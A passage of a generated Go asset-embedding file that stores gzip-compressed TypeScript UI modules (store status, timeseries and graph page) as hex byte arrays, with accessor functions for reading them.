e3\\x38\\x13\\x67\\xb0\\x9f\\x84\\xb7\\x84\\x7f\\x49\\xe9\\x6f\\x35\\x31\\x9b\\xd4\\x71\\x10\\x80\\x5d\\x99\\x9b\\x28\\xd8\\xfd\\x99\\xbc\\x56\\x04\\x76\\x62\\xa2\\xdf\\x7b\\x31\\x19\\xa9\\xeb\\x29\\x84\\x79\\x8d\\x45\\x91\\x14\\x95\\x7c\\x54\\x5c\\xcb\\xeb\\xac\\xfd\\x2c\\xf6\\xb3\\x1a\\xef\\x77\\xe6\\x53\\x3d\\x0e\\xec\\xc3\\x47\\xde\\x02\\x9a\\xcc\\x55\\x29\\x97\\x7b\\x11\\xbc\\x96\\xd5\\x16\\x75\\xd2\\x6d\\x57\\xe3\\xbd\\xc8\\xaf\\x2f\\x35\\xbb\\x39\\x18\\x5b\\xf2\\x8b\\x98\\xc8\\xca\\x5e\\xe3\\xa0\\xa6\\x41\\xd3\\x60\\xb3\\xa7\\x7b\\x13\\x30\\xc2\\xe1\\xfd\\xba\\x71\\xed\\x63\\x2f\\x18\\xed\\x36\\xf5\\xbd\\xbd\\xe4\\x78\\x03\\xa5\\x6f\\x89\\x4a\\x39\\x0c\\xca\\xb6\\x27\\x08\\xa1\\xaa\\x91\\x83\\x61\\x79\\xd2\\xea\\x06\\xe5\\xd7\\xfa\\x73\\x78\\x70\\x50\\x02\\x1d\\x34\\xae\\x45\\x48\\xc2\\x72\\x71\\x13\\xc7\\xe7\\x70\\xfc\\x25\\x62\\x0d\\xc5\\x90\\xb5\\x18\\xcc\\xa5\\x6b\\x2a\\x98\\x6f\\x4a\\xd3\\x18\\x20\\xa0\\x31\\x12\\xba\\x20\\xb4\\x4a\\x0d\\x53\\xf1\\x27\\x0a\\xca\\x88\\x8c\\x1a\\xcc\\xd0\\xfb\\xd1\\xdd\\xad\\xee\\x8e\\xd5\\x86\\x7d\\x30\\x5c\\x7f\\x4f\\xf3\\xc4\\x97\\x7f\\x08\\xa8\\x49\\x62\\x3f\\xcd\\xa9\\x87\\x3e\\xdf\\x5c\\xbf\\xe3\\x3c\\xbb\\x57\\xd7\\x3c\\x03\\x94\\x66\\xdc\\x70\\x99\\xf5\\xf9\\xdd\\xfd\\x9d\\x3a\\xfc\\x75\\x75\\x62\\xdd\\x0e\\x80\\xa6\\xee\\x58\\x70\\x5a\\xf8\\xff\\xd1\\x11\\xfa\\x4e\\xca\\xe7\\x2a\\x9c\\x70\\xba\\x14\\x5c\\xc1\\xd3\\xea\\xa2\\xe7\\x23\\x79\\x82\\x13\\x84\\x87\\x9a\\x6b\\xd5\\x8b\\x65\\xf5\\xbb\\xea\\xfd\\x19\\x00\\x00\\xff\\xff\\xdb\\xd1\\xe8\\xc5\\x5a\\x1a\\x00\\x00\")\n\nfunc uiTsModelsStore_statusTsBytes() ([]byte, error) {\n  return bindataRead(\n    _uiTsModelsStore_statusTs,\n    \"ui/ts/models/store_status.ts\",\n  )\n}\n\nfunc uiTsModelsStore_statusTs() (*asset, error) {\n  bytes, err := uiTsModelsStore_statusTsBytes()\n  if err != nil {\n    return nil, err\n  }\n\n  info := bindataFileInfo{name: \"ui/ts/models/store_status.ts\", size: 6746, mode: os.FileMode(420), modTime: time.Unix(1400000000, 0)}\n  a := &asset{bytes: bytes, info: info}\n  return a, nil\n}\n\nvar _uiTsModelsTimeseriesTs = []byte(\"\\x1f\\x8b\\x08\\x00\\x00\\x09\\x6e\\x88\\x00\\xff\\xc4\\x59\\xdf\\x6f\\xdc\\xb8\\x11\\x7e\\xf7\\x5f\\xc1\\xf3\\x93\\x94\\xdb\\x68\\x93\\x7b\\xe8\\x83\\x1c\\xa7\\x0d\\xee\\x82\\x1e\\x0e\\x75\\x93\\x3a\\x46\\x7b\\x40\\x10\\x18\\x5c\\x89\\xbb\\xab\\x46\\xa2\\x14\\x92\\xb2\\xb3\\xbd\\xdb\\xff\\xbd\\xdf\\x90\\xd4\\x6f\\x69\\xb3\\x06\\x0e\\x38\\x01\\x71\\x64\\x89\\x1c\\xce\\x7c\\xf3\\xf1\\x9b\\xa1\\xbc\\x5e\\x33\\x5d\\xd6\\x2a\\x11\\x31\\x2b\\xca\\x54\\xe4\\x7a\\x6d\\xb2\\x42\\x68\\xa1\\x32\\xa1\\x23\\xa3\\x2f\\xd6\\x18\\xf0\\x4a\\x89\\xad\\x50\\x42\\x26\\x82\\x55\\xdc\\xec\\xaf\\x2f\\xa3\\x68\\x6d\\x0e\\x55\\x26\\x77\\x7a\\x5d\\x64\\x66\\xaf\\xb2\\xfc\\xbf\\xed\\x5d\\x94\\x62\\xda\\x25\\x5b\\xbf\\xc6\\x54\\xf6\\xa6\\x36\\xfb\\x52\\xc5\\xec\\x86\\x1b\\xc3\\xee\\x14\\x4f\\x0e\\x2c\\x28\\x70\\xff\\xb7\\xa4\\x4c\\x3e\\xab\\x92\\x27\\xfb\\x9c\\x6f\\x74\\x94\\x94\\x45\\x78\\x71\\xb1\\x7e\\xf6\\xec\\x82\\x3d\\x63\\x37\\xd6\\x0d\\x96\\x94\\xd2\\xf0\\x4c\\x6a\\x96\\x72\\xc3\\xbd\\x6f\\xac\\xaa\\xf3\\x5c\\xa4\\x6c\\xab\\xca\\x82\\xb5\\x26\\x22\\xcc\\x5a\\x5f\\x60\\x44\\x9d\\x8b\\x66\\xf6\\x6f\\x17\\x0c\\x97\\xf8\\x5a\\x95\\xca\\xb0\\xe6\\x95\\x30\\x2a\\x4b\\x9a\\x77\\x74\\x65\\x85\\x7d\\x5f\\xc1\\x5c\\xa6\\x05\\xbb\\x66\\xf7\\x4d\\x10\\x37\\xee\\xff\\xf7\\xee\\xcd\\xd5\\x45\\x3b\\x05\\x4e\\xb2\\xf6\\x17\\x78\\xfb\\xaf\\x5a\\xa8\\xc3\\x9b\\xdd\\x4e\\x89\\x1d\\x37\\xa5\\x62\\x99\\x66\\x5c\\x32\\x21\\xeb\\x42\\x28\\x6e\\xb2\\x52\\xb2\\x72\\xcb\\xcc\\x5e\\x30\\xfe\\xc0\\x33\\x04\\x0b\\x3f\\x78\\x3b\\xba\\x6f\\x68\\x5b\\xcb\\x84\\xc6\\x6b\\xb6\\x85\\x19\\x4a\\x02\\x73\\x59\\x60\\x5f\\x6a\\x97\\x0d\\x76\\xb7\\x87\\x75\\x29\\x44\\xaa\\x99\\x29\\xd9\\x46\\xb0\\xcf\\xa2\\x32\\x2c\\x93\\x4c\\x1f\\x64\\xc2\\x1e\\xe1\\x72\\xdf\\x20\\x2d\\x7a\\x07\\x33\\x1f\\xec\\xec\\xb1\\x9f\\x03\\x0f\\xa5\\x1d\\x8c\\xe5\\x1e\\x84\\x8a\\xfa\\x36\\x82\\x35\\xb0\\x31\\xe5\\x80\\x14\\xf6\\x49\\xd8\\x1b\\xb5\\x6e\\xef\\x3d\\xde\\x64\\x7b\\x02\\x4c\\x87\\x3a\\x5d\\x6f\\xfe\\xfd\\x77\\xc0\\xfd\\x72\\x35\\x7e\\x78\\x7f\\xfb\\xe6\\xee\\x2d\\xde\\xfc\\xd0\\xbd\\x39\\x0e\\xc0\\xef\\x7b\\xf7\\x13\\x98\\x51\\x95\\x99\\x34\\x16\\x75\\xa6\\x41\\x48\\xc0\\x9b\\x76\\x4f\\x25\\x9e\\x12\\x7a\\x07\\xa6\\x84\\xae\\x80\\xad\\x98\\x82\\xd8\\x37\\x38\\xc1\\x73\\x04\\x62\\xb7\\xa0\\x05\\x61\\x53\\x6f\\xb1\\x2f\\x18\\x90\\xd1\\x7c\\x27\\x3c\\x8c\\x7d\\x7b\\x1e\\xd1\\x13\\x30\\x46\\xa7\\x70\\xc4\\x42\\x42\\x6d\\x39\\xb6\\x5d\\xb7\\xf0\\x10\\x46\\x6b\\xcf\\xf0\\xa2\\xba\\x97\\x5c\\x96\\x3a\\x66\\x40\\x7e\\x23\\xd4\\xd5\\x60\\xd0\\x03\\xcf\\x6b\\x31\\x7d\\xb5\\x8c\\xab\\x4d\\xdd\\xad\\xd0\\x75\\x3e\\x44\\xb6\\x85\\x12\\x2f\\xbe\\xc1\\xc6\\xbe\\xb9\\x19\\x20\\x7b\\x2b\\x44\\xf6\\xfe\\x04\\xa0\\x4f\\xe3\\xe5\\x99\\x80\\xf6\\x43\\x1c\\x42\\x2a\\x79\\x21\\x62\\x0d\\xa5\\x90\\xbb\\x21\\x8c\\x2d\\xaf\\x00\\x73\\x9b\\x8f\\x8f\\x9f\\x9e\\x86\\xe7\\x07\\x01\\x39\\xe2\\x26\\xd9\\x63\\x5f\\xdb\\xd8\\xea\\x24\\x41\\xb4\\xdb\\x3a\\x67\\x65\\x6d\\xaa\\xda\\x34\\x72\\xb1\\x36\\x7a\\x6d\\xf1\\xee\\x1b\\x12\\x32\\xb5\\xab\\x9e\\x23\\x05\\x63\\x2e\\xce\\x82\\xff\\x27\\xc2\\x4e\\x48\\x0c\\x91\\x77\\xc4\\x02\\xba\\xbd\\x51\\x1f\\x3f\\x9d\\x4d\\x58\\x47\\x55\\x94\\x92\\x02\\x01\\x74\\x4b\\x42\\xe3\\x73\\x51\\x08\\xfc\\x9e\\xb2\\xcd\\xc1\\x46\\xe6\\x78\\x8c\\x0a\\x86\\x24\\x00\\x32\\x92\\x4a\\xcc\\x75\\x55\\xe2\\x29\\x81\\x8c\\xfc\\xb7\\x66\\xe3\\x20\\xbc\\x7e\\xed\\x0b\\xca\\xab\\x61\\xb8\\xaf\\xcf\\x0f\\x25\\xcd\\x74\\xe5\\x59\\xd2\\xee\\xbe\\x71\\x49\\x38\\x50\\xe6\\xe7\\x13\\xd5\\x39\\xde\\x54\\x15\\x37\\x23\\x80\\x56\\x28\\x13\\x83\\xbd\\x62\\x45\\x64\\xf2\\x77\\x28\\x48\\xf1\\x48\\xae\\x57\\x7e\\x25\\xbf\\x13\\x3e\\x7e\\x0a\\xe3\\x85\\xa0\\x46\\x20\\x3c\\x70\\xc5\\x6a\\x95\\x43\\xc2\\x2f\\x5b\\x0a\\x5f\\x8e\\xf5\\x48\\xb9\\xa2\\x7e\\x3d\\x9a\\x4b\\x97\\xf5\\xb0\\x51\\x33\\xfb\\x4b\\xb4\\x13\\x86\\xc8\\x1b\\x84\\x80\\xe7\\x65\\xf4\\x42\\xfc\\x65\\x35\\x99\\x85\\x58\\x9a\\x39\\xb8\\x3d\\x67\\x86\\x2f\\xaa\\xb1\\x8f\\x33\\x2a\\x78\\x15\\x04\\x2a\\x64\\xd7\\x08\\x48\\x09\\x53\\x2b\\x39\\xe3\\x1c\\x5d\\x56\\x1f\\x98\\x9a\\x5a\\xa4\\xab\\x2b\\xed\\x31\\xdd\\x4f\\x07\\x1d\\xaf\\x8e\\xe1\\xf0\\xe9\\xb1\\xfd\\x6d\\xb4\\x19\\xac\\x0f\\x45\\xa4\\x04\\x5c\\xd5\\x26\\xf8\\x0d\\xa8\\xc6\\xf8\\xb7\\xc2\\x3e\\x45\\x53\\x95\\xc6\\x97\\xef\\xdf\\x7d\\xb8\\xbb\\x44\\x1e\\xbf\\x1a\\x34\\x56\\x26\\x96\\xa5\\xfc\\x45\\x97\\xf2\\xad\\x52\\xa5\\xd2\\x2b\\x8b\\x70\\x4c\\x3f\\x8e\\xe1\\xc4\\x8b\\x08\\xb4\\x91\\x41\\x90\\xc6\\xc3\\x5c\\xba\\xe8\\x67\\x03\\x43\\x2f\\xf7\\xbe\\x44\\xf7\\x05\\xbe\\x30\\xb0\\x80\\x28\\x89\\xad\\x86\\x66\\xcc\\xb1\\x6b\\x9b\\x89\\x1c\\x52\\x64\\x75\\x47\\x14\\x95\\x39\\x30\\xae\\x14\\x3f\\xe8\\x68\\xd6\\x58\\xb6\\x65\\xc1\\x77\\x69\\xe4\\xf7\\x7b\\xb8\\xb0\\x24\\x5d\\xed\\x20\\x70\\xa5\\x2f\\x05\\xf3\\x00\\xce\\xce\\x8c\\xd0\\x4e\\xbd\\x45\\x97\\xd8\\x66\\x77\\x71\\x31\\xeb\\x96\\x8a\\x3a\\x9d\\x3f\\xe5\\x19\\x5d\\xfd\\xb1\\xd6\\xc1\\xc5\\xd1\\xf3\\x3e\\x1e\\xc3\\xf9\\x88\\x7c\\xee\\xd3\\xe9\\xdb\\xfe\\x8c\\xe3\\x72\\x53\\x7a\\x2b\\x12\\x08\\x5e\\x4f\\x15\\x9d\\x5e\\x3c\\xee\\xb3\\x64\\x0f\\x9d\\x93\\x19\\x08\\x4a\\x8f\\xd3\\xba\\xeb\\x51\\xd1\\x6f\\x63\\xbb\\xa1\\xc3\\xd0\\xd9\\xff\\x06\\x85\\x03\\xfc\\xc2\\x9e\\xa2\\x84\\x6f\\x78\\xf2\\xf9\\x91\\x2b\\x24\\xda\\x36\\xe0\\xa4\\x3d\\x49\\xad\\x70\\x30\\x30\\x56\\x9c\\x22\\xf6\\x1f\\xd0\\x0a\\xde\\x6f\\x01\\xfd\\x5e\\xa4\\xab\\x4e\\x6c\\x87\\xed\\x40\\x9e\\x53\\xc5\\x52\\xe2\\x39\\x88\\x54\\x43\\x96\\xa1\\x63\\x6e\\x91\\x46\\xd1\\x06\\x56\\x4f\\x09\\x72\\x92\\x73\\xad\\x07\\xe1\\x0e\\x33\\x56\\xa9\\xec\\x81\\x28\\x7b\\x3f\\x52\\xb3\\x21\\xb2\\x36\\x74\\x55\\x27\\x40\\x25\\xa8\\xea\\x4d\\x9e\\x51\\x05\\x95\\x69\\xf9\\xf8\\x93\\xc7\\x27\\x76\\xbd\\xd3\\xaa\\xb3\\x37\\x2b\\x99\\x51\\x14\\x8d\\x55\\x73\\x86\\x41\\x54\\x6c\\x22\\xef\\x10\\x58\\xe3\\x6e\\xae\\x46\\x9a\\x30\\x2d\\x2c\\xc1\\xb9\\x0a\\x4c\\x17\\x49\\x2c\\xf0\\x24\\x11\\xc4\\x12\\x52\\x3c\\x52\\xc7\\x02\\x3d\\x9c\\x32\\x8a\\x46\\x5a\\x99\\x1d\\x8f\\xf5\\xd3\\x7b\\x5a\\xfa\\xdc\\xb9\\x3e\\x84\\x66\\xc6\\xa4\\xa7\\x6f\\xaf\\xe2\\x90\\x81\\x55\\xe3\\xd0\\xca\\x23\\x40\\xfa\\x38\\x00\\x23\\x1c\\x83\\x30\\x03\\xc7\\x5c\\xb5\\xbc\\xe1\\x12\\x6d\\x0b\\xc2\\xa8\\x2b\\x22\\x85\\x6f\\xac\\xf6\\x9c\\x52\\x40\\xcc\\xee\\xb7\\xad\\xae\\xf0\\x6c\\x84\\x79\\x14\\x42\\xf6\\x2d\\x15\\x78\\x99\\xa1\\x53\\xa0\\x06\\x02\\x27\\x05\\xf0\\x49\\x9f\\xc1\\xbc\\xc1\\xfa\\x0b\\xd4\\x73\\x0b\\x8f\\xa4\\x96\\x90\\xc6\\x59\\xf6\\x6a\\x7e\\x8a\\x20\\x0d\\x8f\\xad\\x92\\x9f\\x1e\\xe8\\x6c\\xbf\\xad\\xca\\x64\\xef\\x39\\x8a\\xf1\\x2f\\xae\\x86\\xf4\\x81\\x76\\xdb\\x76\\xd1\\x71\\xbc\\x56\\xa2\\xdd\\x82\\x28\\x19\\xcf\\xc9\\x3a\\x94\\x41\\x74\\x67\\xa5\\x8c\\xba\\xa2\\xe7\\xdb\\x3c\\xdb\\xed\\xcd\\x8a\\xc1\\x85\\x3d\\xd7\\x63\\x83\\x84\\x52\\x2e\\x6c\\x4f\\x85\\x9e\\x55\\x96\\x06\\xe6\\x60\\x02\\x0c\\xa5\\x76\\x56\\xa4\\x5e\\x0b\\xb8\\xec\\x4c\\x8d\\x95\\x60\\x68\\x08\\x15\\xab\\x94\\xf9\\x01\\x3f\\x84\\x6f\\x81\\x71\\x20\\x6f\\xcb\\x0a\\x5c\\xf4\\xdf\\x03\\xe0\\xa5\\x3d\\xcf\\x44\\xf3\\x80\\xa0\\x89\\x26\\x15\\x23\\xb9\\x8a\\xa7\\xdb\\xc2\\xa7\\xe2\\x9b\\xed\\x59\\x9b\\x6b\\x9b\\x87\\x99\\x8f\\x02\\x95\\x50\\xe6\\xf0\\xca\\x26\\x68\\x34\\xed\\xe8\\x13\\x36\\x4a\\x41\\x9f\\xb6\\x74\\x3d\\x63\\x3f\\x36\\xa2\\x83\\x88\\x68\\xd3\\x0d\\xa8\\xe4\\x94\\xba\\xdc\\xb8\\x2f\\x20\\x4d\\x0d\\x6c\\x54\\x77\\x6c\\x8a\\x88\\x9f\\x67\\xc8\\x85\\x45\\x78\\x54\\x73\\x7b\\xd4\\xa5\\x6b\\xa0\\x75\\x0d\\x6a\\xae\\x73\\xb5\\x1e\\x40\\xb1\\x46\\xea\\xd3\\x8c\\xf2\\xb9\\x7d\\xd7\\x21\\x1c\\x84\\x53\\x88\\xa9\\x88\\xba\\x4d\\xdd\\x4b\\xc5\\x52\\x21\\x25\\xf1\\xe9\\x98\\x74\\xcd\\x16\\xeb\\xe7\\xd4\\x64\\x64\\x73\\x03\\x55\\xfa\\xce\\xe1\\xcd\\x7e\\xff\\x9d\\x4d\\x07\\x39\\xe4\\xba\\x51\\xe1\\x68\\x6b\\xf4\\xbd\\x6e\\x1d\\x39\\x55\\xf6\\xdd\\x12\\x5e\\x4b\\xae\\x4f\\xac\\x38\\x5f\\xd9\\x3b\\x13\\xc2\\x6f\\xee\\xc5\\xc0\\xbe\\x65\\xa0\\x37\\xa5\\xa1\\xdc\\x39\\x4e\\x5b\\xad\\xf8\\xfe\\xfb\\x73\\x5b\\xa9\\xe3\\xa9\\xba\\x34\\xc3\\x6a\\x2d\\x7c\\x1d\\x4e\\xf6\\x5c\\xee\\xfc\\x21\\xd7\\xc9\\x4a\\x2d\\x53\\xa1\\xf2\\x03\\xf9\\xeb\\xce\\x5b\\x8e\\xeb\\xa7\\xe9\\xda\\xd8\\x0b\\xbe\\x78\\x7a\\x2e\\xd5\\x53\\xb7\\xc6\\x35\\xfb\\x72\\xb2\\x92\\xce\\x78\\xec\\x73\\xe9\\x8a\\x96\\xf3\\xb7\\x28\\x35\\x3d\\xa0\\xa6\\xa2\\x79\\xed\\x4f\\xe5\\x76\\x95\\x15\\xd1\\x85\\x4b\\x12\\xca\\xb1\\xb1\\x0a\\xc3\\x31\\xeb\\x74\\x4c\\x0d\\x45\\xc6\\x25\\x61\\x21\\xb4\\xb9\\x7d\\xb7\\x58\\x74\\xfb\\xa9\\x7e\\x2a\\x12\\x82\\xa8\\x31\\x00\\xc2\\x3d\\xf1\\xb1\\x37\\x4d\\x59\\xbf\\x9c\\x5e\\xb9\\x54\\x52\\x8f\\x39\\xb6\\x86\\x36\\xb3\\x34\\x68\\x35\\x13\\x9e\\x43\\xd6\\x33\\x99\\x28\\xc1\\xfd\\xb1\\xa1\\xa6\\x63\\xb4\\xd7\\x38\\x5b\\x6c\\xf0\\xce\\x9f\\xd0\\xdd\\x09\\x02\\xed\\xfa\\xd8\\x9c\\x5b\\x35\\x40\\xa1\\x82\\x2f\\x6a\\xf0\\xdd\\x44\\x51\\xfd\\x09\\xe9\\x9b\\x08\\x55\\x0c\\xa5\\x87\\x2e\\x52\\xf5\\x42\\xb6\\xe6\\x83\\x45\\x68\\x2f\\x4f\\x27\\xcb\\x8e\\x43\\xae\\x7c\\x75\\xfd\\xa3\\x73\\x64\\xb7\\xe3\\x93\\x13\\x65\\xb5\\x63\\x90\\x28\\xff\\x84\\x4c\\x12\\xc6\\x6d\\x7f\\xde\\xa7\\x32\\x65\\x02\\x1d\\xf6\\x74\\x03\\xd8\\x7e\\x3d\\x08\\x5b\\x5e\\x97\\x09\\x72\\x8d\\x1a\\x7e\\x1a\\x18\\x27\\x53\\xbe\\x4b\\xf9\\xe3\\x70\\xb1\\x76\\x4f\\x22\\xd2\\x3a\\xfc\\x84\\x86\\x18\\x9d\\xc6\\x8f\\xb9\\x40\\xb9\\xe9\\xcb\\xa6\\x3f\\x5a\\x53\\xd8\\x99\\xe7\\x49\\x0e\\x96\\xa6\\x07\\xef\\xd1\\x04\\x82\\x26\\xac\\x65\\x91\\xb7\\x67\\xc8\\xb3\\xeb\\xdf\\x9c\\x92\\x2f\\xd7\\x1e\\xdf\\xbd\\xf4\\xf4\\x2e\\xf2\\x27\\x83\\xf9\\x8f\\x11\\x74\\xb9\\x0e\\xa6\\xa0\\x44\\x54\\x81\\x6f\\x58\\x5c\\x25\\x5c\\xcd\\x57\\xdb\\xf9\\x93\\xea\\x52\\x9d\\x73\\x1f\\x12\\xc8\\xde\\x6a\\xa9\\x92\\xcd\\x80\\x34\\x5d\\x63\\xc0\\x80\\xe9\\x32\\x4f\\x3f\\x18\\x0c\\x3e\\x86\\xe0\\xe4\\xa1\\x41\\x68\\xda\\x2a\\xdc\\xf8\\xbd\\xe2\\x3f\\x76\\xea\\x36\\xd5\\xdd\\x9e\\x71\\xdf\\xd3\\xfa\\xd6\\xb8\\xa2\\xbf\\x7c\\x29\\x2d\\xdc\\xdf\\x6f\\x34\\xfb\\xe5\\xc3\\xbb\\x7f\\x32\\x77\\xc8\\x5b\\x38\\x26\\xb4\\x1f\\xde\\x06\\x9e\\x04\\x5f\\xf7\\x2a\\x66\\xbf\\xde\\xfc\\xe3\\x67\\x63\\xaa\\x5b\\x47\\x3f\\x34\\xbe\\x15\\x7d\\xf5\\x1c\\xb7\\x99\\xbf\\xfe\\x7c\\xfb\\xae\\xb2\\x7f\\x11\\x0a\\xfd\\x79\\x72\\xf2\\xbd\\xd4\\x82\\x06\\x93\\x11\\xf0\\x32\\xb5\\x66\\xaf\\xd9\\x0f\\x2f\\x5e\\xb0\\xbf\\x5a\\xf7\\x22\\x37\\x27\\xdb\\x1e\\x68\\xd1\\xa8\\xf9\\x03\\xc8\\x1d\\x4e\\xda\\x21\\x8b\\xd9\\xf8\\x59\\xff\\xbb\\x82\\xfb\\x79\\xbc\\xf8\\x7f\\x00\\x00\\x00\\xff\\xff\\x24\\x88\\x6a\\xd1\\x1c\\x1c\\x00\\x00\")\n\nfunc uiTsModelsTimeseriesTsBytes() ([]byte, error) {\n  return bindataRead(\n    _uiTsModelsTimeseriesTs,\n    \"ui/ts/models/timeseries.ts\",\n  )\n}\n\nfunc uiTsModelsTimeseriesTs() (*asset, error) {\n  bytes, err := uiTsModelsTimeseriesTsBytes()\n  if err != nil {\n    return nil, err\n  }\n\n  info := bindataFileInfo{name: \"ui/ts/models/timeseries.ts\", size: 7196, mode: os.FileMode(420), modTime: time.Unix(1400000000, 0)}\n  a := &asset{bytes: bytes, info: info}\n  return a, nil\n}\n\nvar _uiTsPagesGraphTs = []byte(\"\\x1f\\x8b\\x08\\x00\\x00\\x09\\x6e\\x88\\x00\\xff\\xb4\\x56\\x51\\x8f\\xe2\\x36\\x10\\x7e\\xe7\\x57\\x4c\\xf3\\x14\\x4e\\xc8\\x61\\x75\\x52\\x1f\\xb8\\x72\\x3a\\xba\\xad\\xb6\\x95\\x8a\\xd4\\x6e\\x57\\xf7\\x72\\x3a\\x9d\\x8c\\x19\\x12\\xf7\\x1c\\x9b\\xda\\x0e\\x1c\\xaa\\xf8\\xef\\x1d\\x3b\\x21\\x1b\\x42\\x58\\xaa\\x95\\x6a\\x21\\x48\\xf0\\xcc\\x37\\x9f\\xe7\\x1b\\x8f\\x9d\\x65\\xe0\\x4c\\x65\\x05\\xce\\x60\\xcb\\x73\\x74\\x59\\x6e\\xf9\\xb6\\x60\\xde\\x8d\\x32\\x9a\\xfa\\xc1\\xe2\\x06\\x2d\\x6a\\x81\\x34\\xeb\\x8b\\x79\\xc2\\x58\\xe6\\x0f\\x5b\\xa9\\x73\\x97\\x95\\xd2\\x17\\x56\\xaa\\xbf\\xda\\x27\\xb6\\x26\\xb7\\x04\\xb2\\xf7\\x37\\x5d\\xd7\\x6f\\xe9\\x73\\xdb\\xbc\\x34\\x6b\\x54\\x2e\\xf3\\xb2\\x44\\x87\\x56\\xa2\\xbb\\xe5\\x20\\x4c\\xb9\\x35\\x1a\\xb5\\x27\\x4e\\xe8\\xad\\x14\\xad\\x07\\xb9\\xc0\\xa2\\xf2\\x85\\xb1\\x33\\xf8\\xd1\\xf2\\x12\\x1e\\x6c\\xa5\\x51\\x5a\\x48\\x57\\xf4\\xc6\\xf2\\xfa\\xed\\x43\\x5e\\x72\\x5a\\x07\\xc1\\x8c\\xbb\\x0e\\x4b\\xee\\x3d\\x3c\\x59\\x2e\\x0e\\x90\\x96\\xf4\\xfc\\x41\\x18\\xf1\\xd5\\x1a\\x2e\\x0a\\xc5\\x57\\xae\\x36\\x1f\\x65\\x6f\\xde\\x8c\\xe0\\x0d\\x2c\\xd6\\xa5\\xd4\\x1f\\x25\\xee\\x1d\\x48\\x07\\xbe\\x20\\x76\\x56\\x96\\xdc\\x1e\\x80\\x56\\x53\\x29\\x84\\x8d\\xb1\\x70\\x7f\\xf2\\x47\\x07\\x3c\\x38\\x48\\xe7\\x2d\\xf7\\x72\\x87\\xb0\\xc7\\x55\\x80\\x91\\xda\\xa3\\xdd\\x70\\x81\\x8c\\xde\\xb2\\x51\\xe3\\xdb\\x01\\xff\\x67\\x04\\x10\\x43\\x02\\x59\\x3f\\x04\\xcd\\x42\\x3c\\x4e\\xd1\\x8c\\xd9\\x00\\x7d\\x84\\xa1\\xd4\\x6c\\x7d\\x8c\\x17\\x32\\x08\\x75\\x0a\\x21\\xea\\xeb\\x58\\x74\\xcc\\xe8\\x1b\\xbf\\x6d\\x8d\\xf5\\x27\\x76\\x35\\x52\\x00\\x0f\\xa3\\x09\\x00\\x31\\xc8\\x02\\x5c\\xc9\\x95\\x82\\x35\\x96\\x46\\xd7\\x7c\\x8d\\x0e\\x91\\x38\\x88\\x82\\x5b\\x3f\\x81\\x7d\\x21\\x45\\x01\\x6b\\xe9\\xb6\\x8a\\x1f\\x02\\x19\\xbf\\x37\\xf5\\x9c\\x7b\\x86\\x69\\xa6\\xa9\\x0e\\x62\\x76\\x1c\\x27\\x6a\\x6b\\xee\\x39\\xf1\\xf3\\xc0\\x1d\\xd8\\x20\\x1c\\xee\\x70\\x0d\\xab\\x03\\x41\\xfc\\x51\\xa1\\x3d\\x2c\\xb9\\xa6\\xda\\xb4\\xac\\x45\\xc9\\x9a\\xa7\\x73\\xf2\\xbf\\x93\\x51\\xcb\\x3d\\x0c\\xa1\\xb8\\x73\\x94\\x6d\\xed\\xad\\x51\\x0a\\x2d\\xc8\\x72\\xab\\xb0\\x0c\\x05\\x02\\x5f\\x4e\\x55\\xbb\\xac\\x7f\\x3b\\x56\\x5d\\x88\\x30\\xca\\x3a\\xfc\\x6c\\x19\\xeb\\x91\\x2d\\x9b\\xd2\\xea\\x52\\x7b\\xd7\\x73\\x71\\x85\\xd9\\x3f\\x72\\x8f\\x6e\\xb6\\x32\\x46\\x21\\xd7\\x7d\\x83\\x28\\xf0\\x8e\\xab\\x99\\xae\\xca\\x55\\xf0\\xef\\x03\\x54\\xe5\\xdf\\x01\\x1f\\xe6\\xa0\\x71\\x0f\\xbd\\xd0\\x8f\\x28\\x68\\x11\\x91\\x40\\x7a\\x37\\xa5\\xac\\x7e\\x1f\\xbe\\xee\\xa6\\xd3\\xe9\\x04\\x7a\\x40\\xf5\\x18\\xa2\\xbe\\xc8\\x73\\x8b\\x39\\xf7\\xc6\\xb2\\xc5\\xc7\\x87\\x09\\x24\\xc2\\x32\\x4d\\x76\\x4c\\x90\\xcc\\x8e\\xb9\\x4a\\x08\\x74\\x8e\\xdd\\x25\\xe3\\x3e\\x79\\xd2\\x1e\\x5f\\xc7\\x6e\\x80\\xdc\\x6d\\x6a\\x5f\\x1e\\x17\\x4f\\x3f\\xbf\\xcc\\xaf\\x87\\x2b\\x62\\x85\\x56\\x82\\x00\\xd2\\x71\\x5f\\xce\\x30\\x7c\\x21\\x1d\\x6b\\x74\\x1d\\x5e\\x44\\x57\\xdd\\x34\\x9a\\x9f\\x24\\xb9\\x48\\x47\\x1f\\x90\\x51\\x6b\\xb2\\xe8\\x8a\\xf4\\xba\\xe5\\x49\\x7e\\x8a\\x4d\\x75\\xff\\x6b\\xf3\\x96\\xa6\\x63\\x98\\xbf\\xbf\\x82\\x35\\x89\\x19\\x9c\\x5e\\x60\\x1e\\xfb\\x8b\\x37\\xba\\xd2\\xca\\xf0\\x35\\x81\\x0d\\x2d\\x5d\\x50\\x39\\xda\\x36\\xe2\\x19\\x9b\\xdb\\xd8\\xde\\xe4\\xb9\\xc2\\xba\\x4b\\xcc\\xa1\\xa6\\x7b\\x35\\xbf\\xed\\x26\\x20\\xd3\\xef\\xce\\xff\\x19\\x4a\\x8c\\xdc\\x40\\x7a\\x6e\\x35\\xbc\\x80\\x16\\xff\\x94\\x22\\xca\\x60\\x5d\\x6c\\xf1\\xdf\\xb6\\x38\\x07\\xb3\\x7f\\x04\\x12\\x19\\x5f\\x83\\xfb\\xa2\\xfc\\xc7\\x57\\x97\\x44\\xd7\\xf3\\x2c\\xdd\\x4d\\x6f\\xdb\\x54\\x5a\\xc4\\x4e\\x2b\\xda\\x06\\x95\\x8e\\x67\\x2f\\x74\\x2b\\x6a\\xa0\\x95\\xd5\\xb1\\xa4\\xef\\x3b\\x2e\\xef\\xfe\\x6b\\x9c\\x1d\\x9d\\x2f\\xa9\\xf0\\x56\\x75\\x82\\x5c\\x0a\\xb1\\xe3\\x16\\x56\\x95\\xf7\\x46\\x3f\\xe1\\x37\\x3f\\xa3\\xdd\\x46\\x1d\\xfd\\xa2\\xc9\\x91\\xa2\\x01\\xe9\\x96\\xa2\\xcf\\x40\\x54\\x29\\xc9\\x9f\\x64\\x0c\\x4f\\xc6\\x73\\xe5\\x92\\x8b\\x6c\\x5d\\x97\\x6f\\x00\\x24\\x86\\xbc\\xc4\\x18\\x4e\\x58\\x99\\x26\\x2c\\x1e\\x8e\\xe1\\x18\\x49\\x26\\xf0\\xe9\\x4a\\x